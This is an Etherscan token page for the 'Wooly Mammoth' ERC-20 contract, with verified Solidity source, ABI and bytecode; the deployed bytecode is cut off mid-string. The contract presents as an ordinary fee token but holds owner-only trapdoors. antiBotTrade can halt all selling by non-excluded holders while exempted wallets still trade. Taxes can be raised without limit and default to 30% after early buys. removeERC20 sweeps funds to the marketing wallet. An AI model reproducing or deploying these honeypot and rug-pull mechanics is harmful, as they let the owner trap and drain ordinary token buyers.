ETH Price: $2,034.64 (+4.28%)
 

Overview

Max Total Supply

1,000,000,000 Mammoth

Holders

41

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-04-08
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

/*

    telegram : https://t.me/mammoth_ETH
    twitter : https://x.com/mammoth_eth/status/1906746315754840452
    
    https://x.com/elonmusk/status/1909392731342094507
    
*/


interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Token is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address payable public mkt;
    address payable private team;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 private _totalSupply;
    IUniswapRouter public _uniswapRouter;
    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    address public _uniswapPair;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor (){

        _name = "Wooly Mammoth";
        _symbol = "Mammoth";

        _decimals = 18;
        uint256 Supply = 1_000_000_000;

        _totalSupply = Supply * 10 ** _decimals;
        swapAtAmount = _totalSupply / 20000;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        mkt = payable(receiveAddr);
        team = payable(receiveAddr);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[mkt] = true;
        _isExcludeFromFee[team] = true;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _isExcludeFromFee[address(swapRouter)] = true;

    }

    function setMKT(
        address payable newMKT,
        address payable newTeam
    ) public onlyOwner{
        mkt = newMKT;
        team = newTeam;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount=0;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=30;
    uint256 private _finalSellTax=30;
    uint256 private _reduceBuyTaxAt=29;
    uint256 private _reduceSellTaxAt=29;
    uint256 private _preventSwapBefore=40;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    uint256 swapAtAmount;
    function setSwapAtAmount(
        uint256 newValue
    ) public onlyOwner{
        swapAtAmount = newValue;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (inSwap){
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))){
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > swapAtAmount){
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;
            
            // buyCount
            if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) {
                _buyCount++;
            }

        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }


    uint256 public startTradeBlock;
    function startTrade() public onlyOwner {
        require(startTradeBlock == 0, "already start");
        startTradeBlock = block.number;
    }

    function antiBotTrade() public onlyOwner{
        startTradeBlock = 0;
    }

    function removeERC20(address _token) external {
        require(msg.sender == mkt);
        IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this)));
        mkt.transfer(address(this).balance);
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 _bal = address(this).balance;
        if (_bal > 0.01 ether){
            mkt.transfer(_bal/10);
            team.transfer(address(this).balance);
        }
    }

    function setMarketingFreeTrade(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"},{"internalType":"address payable","name":"newTeam","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketingFreeTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600d556002600e556002600f55601e601055601e601155601d601255601d60135560286014553480156200003957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600d81526c0aededed8f2409ac2dadadee8d609b1b6020820152600590620000ae908262000566565b5060408051808201909152600781526609ac2dadadee8d60cb1b6020820152600690620000dc908262000566565b506007805460ff19166012908117909155633b9aca00906200010090600a62000747565b6200010c90826200075f565b60098190556200012090614e209062000779565b60155560095433600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b03199081166001600160a01b03848116918217845560048054841683178155306000818152600860209081526040808320805460ff1990811660019081179092559784528184208054891682179055985486168352808320805488168a179055845490951682528482208054909616909717909455600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d96168617905583526002855281832084845285528183206000199055815163c45a015560e01b8152915193949293859363c45a01559380840193919291908290030181865afa1580156200025f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028591906200079c565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fc91906200079c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200034a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037091906200079c565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481166000908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015620003f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041a91906200079c565b600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156200046e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004949190620007c7565b50506001600160a01b03166000908152600860205260409020805460ff1916600117905550620007eb9050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004ec57607f821691505b6020821081036200050d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200056157600081815260208120601f850160051c810160208610156200053c5750805b601f850160051c820191505b818110156200055d5782815560010162000548565b5050505b505050565b81516001600160401b03811115620005825762000582620004c1565b6200059a81620005938454620004d7565b8462000513565b602080601f831160018114620005d25760008415620005b95750858301515b600019600386901b1c1916600185901b1785556200055d565b600085815260208120601f198616915b828110156200060357888601518255948401946001909101908401620005e2565b5085821015620006225787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006895781600019048211156200066d576200066d62000632565b808516156200067b57918102915b93841c93908002906200064d565b509250929050565b600082620006a25750600162000741565b81620006b15750600062000741565b8160018114620006ca5760028114620006d557620006f5565b600191505062000741565b60ff841115620006e957620006e962000632565b50506001821b62000741565b5060208310610133831016604e8410600b84101617156200071a575081810a62000741565b62000726838362000648565b80600019048211156200073d576200073d62000632565b0290505b92915050565b60006200075860ff84168362000691565b9392505050565b808202811582820484141762000741576200074162000632565b6000826200079757634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620007af57600080fd5b81516001600160a01b03811681146200075857600080fd5b600060208284031215620007da57600080fd5b815180151581146200075857600080fd5b6115a080620007fb6000396000f3fe6080604052600436106101855760003560e01c806365b61b77116100d157806395d89b411161008a578063a9059cbb11610064578063a9059cbb14610480578063d242fbcc146104a0578063dd62ed3e146104c0578063f2fde38b1461050657600080fd5b806395d89b411461042b578063a266e55e14610440578063a67755c21461046057600080fd5b806365b61b771461036d5780636c5808011461038d57806370a08231146103a2578063715018a6146103d85780637cc5b1e6146103ed5780638da5cb5b1461040d57600080fd5b8063313ce5671161013e5780633f80b6d7116101185780633f80b6d7146102da5780634bf28fd0146102fa578063553193ca146103375780636402511e1461034d57600080fd5b8063313ce5671461025857806336b2e0271461027a5780633ecad271146102aa57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630c062020146101ec57806318160ddd1461020357806323b872dd1461022257806327b1a8e91461024257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610526565b6040516101b391906111dd565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611243565b6105b8565b60405190151581526020016101b3565b3480156101f857600080fd5b506102016105cf565b005b34801561020f57600080fd5b506009545b6040519081526020016101b3565b34801561022e57600080fd5b506101dc61023d36600461126f565b610609565b34801561024e57600080fd5b50610214600d5481565b34801561026457600080fd5b5060075460405160ff90911681526020016101b3565b34801561028657600080fd5b506101dc6102953660046112b0565b60086020526000908152604090205460ff1681565b3480156102b657600080fd5b506101dc6102c53660046112b0565b600b6020526000908152604090205460ff1681565b3480156102e657600080fd5b506102016102f53660046112d4565b6106a0565b34801561030657600080fd5b50600c5461031f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561034357600080fd5b5061021460165481565b34801561035957600080fd5b5061020161036836600461130f565b6106e1565b34801561037957600080fd5b50600a5461031f906001600160a01b031681565b34801561039957600080fd5b50610201610710565b3480156103ae57600080fd5b506102146103bd3660046112b0565b6001600160a01b031660009081526001602052604090205490565b3480156103e457600080fd5b50610201610780565b3480156103f957600080fd5b5060035461031f906001600160a01b031681565b34801561041957600080fd5b506000546001600160a01b031661031f565b34801561043757600080fd5b506101a66107f4565b34801561044c57600080fd5b5061020161045b366004611336565b610803565b34801561046c57600080fd5b5061020161047b3660046112b0565b610858565b34801561048c57600080fd5b506101dc61049b366004611243565b610993565b3480156104ac57600080fd5b506102016104bb36600461136f565b6109a0565b3480156104cc57600080fd5b506102146104db36600461136f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051257600080fd5b506102016105213660046112b0565b6109f8565b6060600580546105359061139d565b80601f01602080910402602001604051908101604052809291908181526020018280546105619061139d565b80156105ae5780601f10610583576101008083540402835291602001916105ae565b820191906000526020600020905b81548152906001019060200180831161059157829003601f168201915b5050505050905090565b60006105c5338484610abe565b5060015b92915050565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f9906113d7565b60405180910390fd5b6000601655565b6000610616848484610b1f565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610696576001600160a01b0384166000908152600260209081526040808320338452909152902054610671908390611418565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106ca5760405162461bcd60e51b81526004016105f9906113d7565b601094909455601192909255601255601355601455565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105f9906113d7565b601555565b6000546001600160a01b0316331461073a5760405162461bcd60e51b81526004016105f9906113d7565b6016541561077a5760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105f9565b43601655565b6000546001600160a01b031633146107aa5760405162461bcd60e51b81526004016105f9906113d7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546105359061139d565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016105f9906113d7565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b0316331461086f57600080fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156108c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e6919061142b565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611444565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561098f573d6000803e3d6000fd5b5050565b60006105c5338484610b1f565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f9906113d7565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314610a225760405162461bcd60e51b81526004016105f9906113d7565b6001600160a01b038116610a635760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b7b5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105f9565b600c5460ff1615610b9857610b91848484610d4c565b5050505050565b6001600160a01b0383166000908152600b602052604081205460ff168015610bc35750600c5460ff16155b8015610be857506001600160a01b03851660009081526008602052604090205460ff16155b8015610c0d57506001600160a01b03841660009081526008602052604090205460ff16155b8015610c1c5750601454600d54115b15610c6157306000908152600160205260409020548390811115610c4c5750306000908152600160205260409020545b601554811115610c5f57610c5f81610e01565b505b6001600160a01b03851660009081526008602052604090205460ff16158015610ca357506001600160a01b03841660009081526008602052604090205460ff16155b8015610cb25750600c5460ff16155b15610d4057600060165411610cc657600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff168015610d005750600a546001600160a01b03858116911614155b8015610d2557506001600160a01b03841660009081526008602052604090205460ff16155b15610d4057600d8054906000610d3a83611461565b91905055505b610b9185858584610fe9565b6001600160a01b038316600090815260016020526040812080548391908390610d76908490611418565b90915550506001600160a01b03831660009081526001602052604081208054849290610da390849061147a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610def91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4357610e4361148d565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec091906114a3565b81600181518110610ed357610ed361148d565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790610f199085906000908690309042906004016114c0565b600060405180830381600087803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b504792505050662386f26fc10000811115610fda576003546001600160a01b03166108fc610f76600a84611531565b6040518115909202916000818181858888f19350505050158015610f9e573d6000803e3d6000fd5b506004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610fd8573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b03841660009081526001602052604090205461100d908390611418565b6001600160a01b038516600090815260016020526040812091909155811561114e576001600160a01b0384166000908152600b602052604081205460ff161561106e57601354600d541161106357600f54611067565b6011545b90506110a9565b6001600160a01b0386166000908152600b602052604090205460ff16156110a957601254600d54116110a257600e546110a6565b6010545b90505b600060646110b78387611553565b6110c19190611531565b9050801561114b576110d3818461147a565b306000908152600160205260409020549093506110f190829061147a565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111429085815260200190565b60405180910390a35b50505b6111588184611418565b6001600160a01b03851660009081526001602052604090205461117b919061147a565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c58487611418565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561120a578581018301518582016040015282016111ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124057600080fd5b50565b6000806040838503121561125657600080fd5b82356112618161122b565b946020939093013593505050565b60008060006060848603121561128457600080fd5b833561128f8161122b565b9250602084013561129f8161122b565b929592945050506040919091013590565b6000602082840312156112c257600080fd5b81356112cd8161122b565b9392505050565b600080600080600060a086880312156112ec57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60006020828403121561132157600080fd5b5035919050565b801515811461124057600080fd5b6000806040838503121561134957600080fd5b82356113548161122b565b9150602083013561136481611328565b809150509250929050565b6000806040838503121561138257600080fd5b823561138d8161122b565b915060208301356113648161122b565b600181811c908216806113b157607f821691505b6020821081036113d157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156105c9576105c9611402565b60006020828403121561143d57600080fd5b5051919050565b60006020828403121561145657600080fd5b81516112cd81611328565b60006001820161147357611473611402565b5060010190565b808201808211156105c9576105c9611402565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114b557600080fd5b81516112cd8161122b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115105784516001600160a01b0316835293830193918301916001016114eb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261154e57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176105c9576105c961140256fea2646970667358221220c2d97d57139771ab91623731af5d746a836244cabb4d0f1b05fc8086fe8fc71364736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101855760003560e01c806365b61b77116100d157806395d89b411161008a578063a9059cbb11610064578063a9059cbb14610480578063d242fbcc146104a0578063dd62ed3e146104c0578063f2fde38b1461050657600080fd5b806395d89b411461042b578063a266e55e14610440578063a67755c21461046057600080fd5b806365b61b771461036d5780636c5808011461038d57806370a08231146103a2578063715018a6146103d85780637cc5b1e6146103ed5780638da5cb5b1461040d57600080fd5b8063313ce5671161013e5780633f80b6d7116101185780633f80b6d7146102da5780634bf28fd0146102fa578063553193ca146103375780636402511e1461034d57600080fd5b8063313ce5671461025857806336b2e0271461027a5780633ecad271146102aa57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630c062020146101ec57806318160ddd1461020357806323b872dd1461022257806327b1a8e91461024257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610526565b6040516101b391906111dd565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611243565b6105b8565b60405190151581526020016101b3565b3480156101f857600080fd5b506102016105cf565b005b34801561020f57600080fd5b506009545b6040519081526020016101b3565b34801561022e57600080fd5b506101dc61023d36600461126f565b610609565b34801561024e57600080fd5b50610214600d5481565b34801561026457600080fd5b5060075460405160ff90911681526020016101b3565b34801561028657600080fd5b506101dc6102953660046112b0565b60086020526000908152604090205460ff1681565b3480156102b657600080fd5b506101dc6102c53660046112b0565b600b6020526000908152604090205460ff1681565b3480156102e657600080fd5b506102016102f53660046112d4565b6106a0565b34801561030657600080fd5b50600c5461031f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561034357600080fd5b5061021460165481565b34801561035957600080fd5b5061020161036836600461130f565b6106e1565b34801561037957600080fd5b50600a5461031f906001600160a01b031681565b34801561039957600080fd5b50610201610710565b3480156103ae57600080fd5b506102146103bd3660046112b0565b6001600160a01b031660009081526001602052604090205490565b3480156103e457600080fd5b50610201610780565b3480156103f957600080fd5b5060035461031f906001600160a01b031681565b34801561041957600080fd5b506000546001600160a01b031661031f565b34801561043757600080fd5b506101a66107f4565b34801561044c57600080fd5b5061020161045b366004611336565b610803565b34801561046c57600080fd5b5061020161047b3660046112b0565b610858565b34801561048c57600080fd5b506101dc61049b366004611243565b610993565b3480156104ac57600080fd5b506102016104bb36600461136f565b6109a0565b3480156104cc57600080fd5b506102146104db36600461136f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051257600080fd5b506102016105213660046112b0565b6109f8565b6060600580546105359061139d565b80601f01602080910402602001604051908101604052809291908181526020018280546105619061139d565b80156105ae5780601f10610583576101008083540402835291602001916105ae565b820191906000526020600020905b81548152906001019060200180831161059157829003601f168201915b5050505050905090565b60006105c5338484610abe565b5060015b92915050565b6000546001600160a01b03163314610602